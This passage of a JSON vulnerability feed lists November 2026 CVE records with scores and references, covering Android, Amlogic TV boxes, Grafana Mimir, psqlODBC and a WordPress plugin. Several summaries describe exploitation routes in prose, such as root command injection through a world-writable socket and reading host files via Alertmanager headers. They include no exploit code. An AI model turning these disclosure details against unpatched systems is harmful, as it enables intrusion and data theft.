exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00123,"ranking_epss":0.02064,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":{"id":"EUVD-2026-115557","description":"In onCreate of SettingsApplication.java, there is a possible cross-profile consent dialog label injection due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:09","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-45514","summary":"In multiple functions of SaveUi.java, there is a possible bypass of package installation requirements due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01264,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":{"id":"EUVD-2026-115558","description":"In multiple functions of SaveUi.java, there is a possible bypass of package installation requirements due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:10","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-49912","summary":"In multiple functions of MediaCarouselController.kt, there is a possible way for media to show up after disablement due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01801,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-49922","summary":"In queryRemoteConnectionServices of ConnectionServiceWrapper.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00101,"ranking_epss":0.0088,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":{"id":"EUVD-2026-115560","description":"In queryRemoteConnectionServices of ConnectionServiceWrapper.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:12","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-49923","summary":"In onResult of AccountManagerService.java, there is a possible untrusted/misleading UI issue due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00103,"ranking_epss":0.00988,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":{"id":"EUVD-2026-115561","description":"In onResult of AccountManagerService.java, there is a possible untrusted/misleading UI issue due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:13","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-120689","summary":"HDF5 through 2.2.0 contains an uncontrolled recursion vulnerability in H5B__iterate_helper() in src/H5B.c. When iterating a version 1 B-tree, the function does not verify that a child node’s level matches the expected level. That check is performed only in H5B__cache_deserialize() when a node is first loaded into the metadata cache. A crafted HDF5 file whose B-tree child pointer refers back to a node already in the cache, such as a node that points to itself, bypasses the check and causes unbounded recursion, leading to stack exhaustion and a crash. This can be triggered by calling H5Gget_info() or H5Gget_num_objs() on a group in the crafted file, which reaches H5B_iterate() through H5G__obj_info() and H5G__stab_count(). An attacker who can get a user or application to open a malicious file can cause a denial of service.","cvss":4.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":4.3,"epss":0.00176,"ranking_epss":0.07169,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HDFGroup/hdf5/issues/6403"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:41","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-28588","summary":"In shouldBlockDirectoryFromTree of ExternalStorageProvider.java, there is a possible way to access protected data due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00097,"ranking_epss":0.00719,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:41","euvd":{"id":"EUVD-2026-115551","description":"In shouldBlockDirectoryFromTree of ExternalStorageProvider.java, there is a possible way to access protected data due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:02","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-28597","summary":"In writeGrantedUriPermissions of UriGrantsManagerService.java, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00105,"ranking_epss":0.01051,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:41","euvd":{"id":"EUVD-2026-115552","description":"In writeGrantedUriPermissions of UriGrantsManagerService.java, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:03","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-119737","summary":"The pppoe_wrapper vendor daemon from the Amlogic Android SDK, as shipped on Nexbox A95X (Amlogic S905/S905X) TV boxes, contains a command injection vulnerability that allows local attackers to execute arbitrary commands as root by sending crafted messages to a world-writable AF_UNIX datagram socket at /dev/socket/pppoe_wrapper. Attackers can send a message beginning with 'pppd pty' followed by shell metacharacters and arbitrary commands, which are passed unfiltered to system(3) and executed by /system/bin/sh -c as root, resulting in full privilege escalation.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.5,"epss":0.00891,"ranking_epss":0.59452,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://mstreet97.github.io/security-research/vulnerability-disclosure/embedded/cve/2026/10/29/From-UART-to-root-android-version.html","https://www.vulncheck.com/advisories/amlogic-pppoe-wrapper-command-injection-via-af-unix-socket"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:38","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-119738","summary":"The VobSub subtitle decoder libsub_vob (part of the Amlogic DroidLogic SubTitleService), as shipped on Nexbox A95X (Amlogic S905X) TV boxes, contains an infinite loop vulnerability in get_vob_spu() that allows unauthenticated network attackers or local users loading malicious files to trigger an unreachable loop exit condition via mismatched length fields. Attackers can send crafted AMLU data blocks over the unauthenticated tcp/10100 listener or via a malicious VobSub (.sub) file to cause the subtitle decode thread to spin at 100% CPU indefinitely, resulting in denial of service.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":0.00289,"ranking_epss":0.21547,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://mstreet97.github.io/security-research/vulnerability-disclosure/embedded/cve/2026/10/29/From-UART-to-root-android-version.html","https://www.vulncheck.com/advisories/amlogic-droidlogic-subtitleservice-infinite-loop-via-get-vob-spu"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:38","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-119739","summary":"The VobSub subtitle decoder libsub_vob (part of the Amlogic DroidLogic SubTitleService), as shipped on Nexbox A95X (Amlogic S905X) TV boxes, contains an out-of-bounds write vulnerability in vob_fill_pixel() that allows remote attackers to corrupt stack memory by sending a crafted SET_CONTR command with an attacker-controlled alpha value that drives an unbounded array index (change_data) past the end of the fixed four-element PixelDatas array. Attackers can exploit this by sending malicious VobSub data over the unauthenticated tcp/10100 socket or via a malicious .sub file to zero out adjacent stack bytes, resulting in silent stack corruption or process crash.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":0.00371,"ranking_epss":0.31057,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://mstreet97.github.io/security-research/vulnerability-disclosure/embedded/cve/2026/10/29/From-UART-to-root-android-version.html","https://www.vulncheck.com/advisories/amlogic-droidlogic-subtitleservice-out-of-bounds-write-via-vobsub-set-contr"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:38","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-119740","summary":"Nexbox A95X TV boxes built on the Amlogic S905X platform contain an unauthenticated console exposed via an internal UART header on the PCB that allows physical attackers to obtain an interactive shell as uid 2000 (system) without any credentials. Attackers with physical access and a USB-to-TTL adapter can leverage this shell to reach the pppoe_wrapper vendor daemon, which contains an OS command injection vulnerability executed as root, resulting in full root-level compromise of the device.","cvss":7.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":7.0,"epss":0.00791,"ranking_epss":0.56347,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://mstreet97.github.io/security-research/vulnerability-disclosure/embedded/cve/2026/10/29/From-UART-to-root-android-version.html","https://www.vulncheck.com/advisories/nexbox-a95x-amlogic-s905x-uart-unauthenticated-console-access"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:38","euvd":{"id":"EUVD-2026-115401","description":"Nexbox A95X TV boxes built on the Amlogic S905X platform contain an unauthenticated console exposed via an internal UART header on the PCB that allows physical attackers to obtain an interactive shell as uid 2000 (system) without any credentials. Attackers with physical access and a USB-to-TTL adapter can leverage this shell to reach the pppoe_wrapper vendor daemon, which contains an OS command injection vulnerability executed as root, resulting in full root-level compromise of the device.","published_time":"2026-11-02T19:54:27","cvss":7.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://mstreet97.github.io/security-research/vulnerability-disclosure/embedded/cve/2026/10/29/From-UART-to-root-android-version.html","https://www.vulncheck.com/advisories/nexbox-a95x-amlogic-s905x-uart-unauthenticated-console-access"],"products":["A95X"],"vendors":["Nexbox"]},"ghsa":null},{"cve_id":"CVE-2026-116769","summary":"CVE-2026-116769 is an authentication bypass\nvulnerability in Secure Access servers starting with version 13.0 and prior to\n14.61. Attackers can modify security settings of a client via the server.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.3,"epss":0.00404,"ranking_epss":0.34741,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116769"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:33","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-117082","summary":"An authentication bypass vulnerability in the Universal Plug and Play (UPnP) framework of the Sercomm AOT-4221SR 4.6 Dual Band GPON ONU device allows an attackers to execute arbitrary SOAP requests via port 5555. This flaw exposes 15 administrative, WAN, LAN, and firewall services without requiring credentials, enabling attackers to modify core routing tables, alter DNS servers, remove firewall rules, and completely compromise the network.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00198,"ranking_epss":0.09706,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["http://sercomm.com","https://github.com/dewcode91/security-research/blob/main/CVE-2026-117082.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:33","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-102435","summary":"The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the _getObjAttr function in all versions up to, and including, 3.5.54. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This requires the PDF Generator add-on to be active and a Contact Form 7 form to be configured for PDF generation, as the WPCF7_Submission POP gadget chain relies on CF7 being present to complete the file deletion via __destruct(). Note: This vulnerability can only be exploited when the PDF generator feature is enabled.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":0.0059,"ranking_epss":0.48282,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.svn.wordpress.org/ultimate-addons-for-contact-form-7/tags/3.5.52/addons/pdf-generator/pdf-generator.php","https://plugins.trac.wordpress.org/changeset/3738548/ultimate-addons-for-contact-form-7","https://www.wordfence.com/threat-intel/vulnerabilities/id/187777a4-3438-489c-ad3b-7e16753189d6?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:26","euvd":{"id":"EUVD-2026-115544","description":"The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the _getObjAttr function in all versions up to, and including, 3.5.54. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This requires the PDF Generator add-on to be active and a Contact Form 7 form to be configured for PDF generation, as the WPCF7_Submission POP gadget chain relies on CF7 being present to complete the file deletion via __destruct(). Note: This vulnerability can only be exploited when the PDF generator feature is enabled.","published_time":"2026-11-02T19:31:31","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/187777a4-3438-489c-ad3b-7e16753189d6?source=cve","https://plugins.svn.wordpress.org/ultimate-addons-for-contact-form-7/tags/3.5.52/addons/pdf-generator/pdf-generator.php","https://plugins.trac.wordpress.org/changeset/3738548/ultimate-addons-for-contact-form-7"],"products":["Ultra Addons for Contact Form 7"],"vendors":["Themefic"]},"ghsa":null},{"cve_id":"CVE-2025-26433","summary":"In multiple locations, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01474,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:23","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-0053","summary":"In multiple locations, there is a possible method for a primary user to disable secure nfc on other full users due to insufficient isolation between Android users. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01474,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:23","euvd":{"id":"EUVD-2026-115550","description":"In multiple locations, there is a possible method for a primary user to disable secure nfc on other full users due to insufficient isolation between Android users. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:52:57","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2025-22436","summary":"In multiple locations, there is a possible way to trick a user into disclosing Autofill contents due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00119,"ranking_epss":0.01769,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:22","euvd":{"id":"EUVD-2025-211241","description":"In multiple locations, there is a possible way to trick a user into disclosing Autofill contents due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:52:51","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-81938","summary":"Grafana Mimir's Alertmanager rejects tenant-supplied receiver configurations that reference local files, but the check did not cover two HTTP client settings: http_headers.<name>.files and basic_auth.username_file. A tenant permitted to upload an Alertmanager configuration could point these fields at any file readable by the Alertmanager process. When a notification was sent, Alertmanager read the file and put its contents in a header of the outgoing request. By directing the receiver at a server they control, the tenant could read files from the Alertmanager host, such as credentials and configuration.\n\nExploitation requires permission to write the tenant's Alertmanager configuration. Grafana Enterprise Metrics (GEM), which is built on Mimir, is also affected. The issue is fixed in Mimir 3.1.7 and 3.2.2 and in GEM 2.17.20. GEM 2.11 through 2.16 will not receive a fix; users on those versions should upgrade to 2.17.20 or later.","cvss":7.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://grafana.com/security/security-advisories/cve-2026-81938"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:11","euvd":{"id":"EUVD-2026-115357","description":"Grafana Mimir's Alertmanager rejects tenant-supplied receiver configurations that reference local files, but the check did not cover two HTTP client settings: http_headers.<name>.files and basic_auth.username_file. A tenant permitted to upload an Alertmanager configuration could point these fields at any file readable by the Alertmanager process. When a notification was sent, Alertmanager read the file and put its contents in a header of the outgoing request. By directing the receiver at a server they control, the tenant could read files from the Alertmanager host, such as credentials and configuration.\n\nExploitation requires permission to write the tenant's Alertmanager configuration. Grafana Enterprise Metrics (GEM), which is built on Mimir, is also affected. The issue is fixed in Mimir 3.1.7 and 3.2.2 and in GEM 2.17.20. GEM 2.11 through 2.16 will not receive a fix; users on those versions should upgrade to 2.17.20 or later.","published_time":"2026-11-02T18:23:43","cvss":7.7,"cvss_version":"3.1","epss":0.0,"assigner":"GRAFANA","references":["https://grafana.com/security/security-advisories/cve-2026-81938"],"products":["Enterprise Metrics (GEM)","Enterprise Metrics (GEM)","Grafana Mimir","Grafana Mimir"],"vendors":["Grafana"]},"ghsa":null},{"cve_id":"CVE-2026-67186","summary":"Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:10","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-120067","summary":"For updatable cursors, which are enabled by default, psqlODBC adds hidden ctid and, for tables with OIDs, oid columns to the query. It copies each value into a 32-byte stack buffer using the length the server sent, without checking it against the buffer size, so a value of 32 bytes or more writes past the buffer. A server not trusted under current SSL settings can send such a value. So can any database user who can create a view with its own column named ctid that the application reads with an updatable cursor. Builds with _FORTIFY_SOURCE abort; other builds overwrite adjacent stack memory. Versions before psqlODBC 18.00.0006 are affected.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-3r96-h2q4-6pxh"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:04","euvd":{"id":"EUVD-2026-115380","description":"For updatable cursors, which are enabled by default, psqlODBC adds hidden ctid and, for tables with OIDs, oid columns to the query. It copies each value into a 32-byte stack buffer using the length the server sent, without checking it against the buffer size, so a value of 32 bytes or more writes past the buffer. A server not trusted under current SSL settings can send such a value. So can any database user who can create a view with its own column named ctid that the application reads with an updatable cursor. Builds with _FORTIFY_SOURCE abort; other builds overwrite adjacent stack memory. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:15","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-3r96-h2q4-6pxh"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120497","summary":"Stored cross-site scripting (XSS) in the HTML report generator in the aidlc-traceability CLI in AWS AI-DLC Workflows before 2026-07-03 might allow an actor who can modify a project's AI-DLC artifact files to execute arbitrary script in the browser of a user who opens a generated HTML traceability report via crafted artifact titles or descriptions.\n\n\n\nTo remediate this issue, users should remove any local copy of the aidlc-traceability CLI obtained before 2026-07-03, or update it to commit 96cf0ea or later. The CLI was removed from the repository on 2026-07-16.","cvss":4.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.0,"cvss_v4":4.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-163-aws/","https://github.com/awslabs/aidlc-workflows/commit/96cf0eaa31a3ad8636e486c7fd2b91c55166393f","https://github.com/awslabs/aidlc-workflows/security/advisories/GHSA-gjmq-52p3-7fh2","https://github.com/awslabs/aidlc-workflows/security/advisories/GHSA-gjmq-52p3-7fh2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:04","euvd":{"id":"EUVD-2026-115369","description":"Stored cross-site scripting (XSS) in the HTML report generator in the aidlc-traceability CLI in AWS AI-DLC Workflows before 2026-07-03 might allow an actor who can modify a project's AI-DLC artifact files to execute arbitrary script in the browser of a user who opens a generated HTML traceability report via crafted artifact titles or descriptions.\n\n\n\nTo remediate this issue, users should remove any local copy of the aidlc-traceability CLI obtained before 2026-07-03, or update it to commit 96cf0ea or later. The CLI was removed from the repository on 2026-07-16.","published_time":"2026-11-02T19:06:10","cvss":4.6,"cvss_version":"4.0","epss":0.0,"assigner":"AMZN","references":["https://github.com/awslabs/aidlc-workflows/commit/96cf0eaa31a3ad8636e486c7fd2b91c55166393f","https://aws.amazon.com/security/security-bulletins/2026-163-aws/","https://github.com/awslabs/aidlc-workflows/security/advisories/GHSA-gjmq-52p3-7fh2"],"products":["aidlc-traceability"],"vendors":["aws"]},"ghsa":null},{"cve_id":"CVE-2026-120656","summary":"OpenKruise kruise-manager exposes an unauthenticated pprof endpoint, enabled by default, opening it on 0.0.0.0:8090, which can enable a DoS attack triggerable by any pod on the cluster network.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00169,"ranking_epss":0.06331,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/openkruise/kruise/pull/2613","https://github.com/openkruise/kruise/releases/tag/v1.9.2","https://github.com/tommitelman-orca/advisories/blob/main/openkruise-pprof-2026.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:04","euvd":{"id":"EUVD-2026-115361","description":"OpenKruise kruise-manager exposes an unauthenticated pprof endpoint, enabled by default, opening it on 0.0.0.0:8090, which can enable a DoS attack triggerable by any pod on the cluster network.","published_time":"2026-11-02T18:44:34","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"certcc","references":["https://github.com/openkruise/kruise/pull/2613","https://github.com/openkruise/kruise/releases/tag/v1.9.2","https://github.com/tommitelman-orca/advisories/blob/main/openkruise-pprof-2026.md"],"products":["kruise-manager"],"vendors":["openkruise"]},"ghsa":null},{"cve_id":"CVE-2026-120060","summary":"psqlODBC trusts counts and lengths in server data in three places. SQLBulkOperations uses a server-supplied row count in a size subtraction that can underflow. SQLStatistics iterates index keys using a server-supplied key count without bounding it to the fixed storage. Bytea octal decoding reads up to two bytes past the end of a truncated escape sequence. A server not trusted under current SSL settings can crash the client or make it read out of bounds. Versions before psqlODBC 18.00.0006 are affected.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-4mfx-cfxx-c877"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115373","description":"psqlODBC trusts counts and lengths in server data in three places. SQLBulkOperations uses a server-supplied row count in a size subtraction that can underflow. SQLStatistics iterates index keys using a server-supplied key count without bounding it to the fixed storage. Bytea octal decoding reads up to two bytes past the end of a truncated escape sequence. A server not trusted under current SSL settings can crash the client or make it read out of bounds. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:10","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-4mfx-cfxx-c877"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120061","summary":"The psqlODBC parser for ODBC escape sequences in application SQL text writes the argument offsets of a {fn} escape into a fixed 16-entry stack array without a bound and does not initialize the array. An escape with too many arguments overflows the stack, and a reference to an unsupplied argument copies arbitrary bytes into the query. The copy of a {d}, {t}, {ts}, or {escape} body also writes one byte past a 128-byte stack buffer. An application that forwards untrusted SQL text to the driver exposes its process to memory corruption. Versions before psqlODBC 18.00.0006 are affected.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-hfm6-qfx8-v4xq"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115374","description":"The psqlODBC parser for ODBC escape sequences in application SQL text writes the argument offsets of a {fn} escape into a fixed 16-entry stack array without a bound and does not initialize the array. An escape with too many arguments overflows the stack, and a reference to an unsupplied argument copies arbitrary bytes into the query. The copy of a {d}, {t}, {ts}, or {escape} body also writes one byte past a 128-byte stack buffer. An application that forwards untrusted SQL text to the driver exposes its process to memory corruption. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:11","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-hfm6-qfx8-v4xq"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120062","summary":"SQLSpecialColumns in psqlODBC splices the table and schema names it receives into its catalog query without escaping them, while the other catalog functions escape them. An application that passes an untrusted table or schema name to SQLSpecialColumns lets the caller execute arbitrary SQL with the privileges of the connection. Versions before psqlODBC 18.00.0006 are affected.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-gg8f-fx3w-rj33"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115375","description":"SQLSpecialColumns in psqlODBC splices the table and schema names it receives into its catalog query without escaping them, while the other catalog functions escape them. An application that passes an untrusted table or schema name to SQLSpecialColumns lets the caller execute arbitrary SQL with the privileges of the connection. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:12","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-gg8f-fx3w-rj33"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120063","summary":"When psqlODBC quotes a schema or table name into a 128-byte stack buffer, its length check lets it write up to two bytes past the end of the buffer for a long name. The names come from the application's SQL text: the table of a statement the driver parses to describe its columns, and the 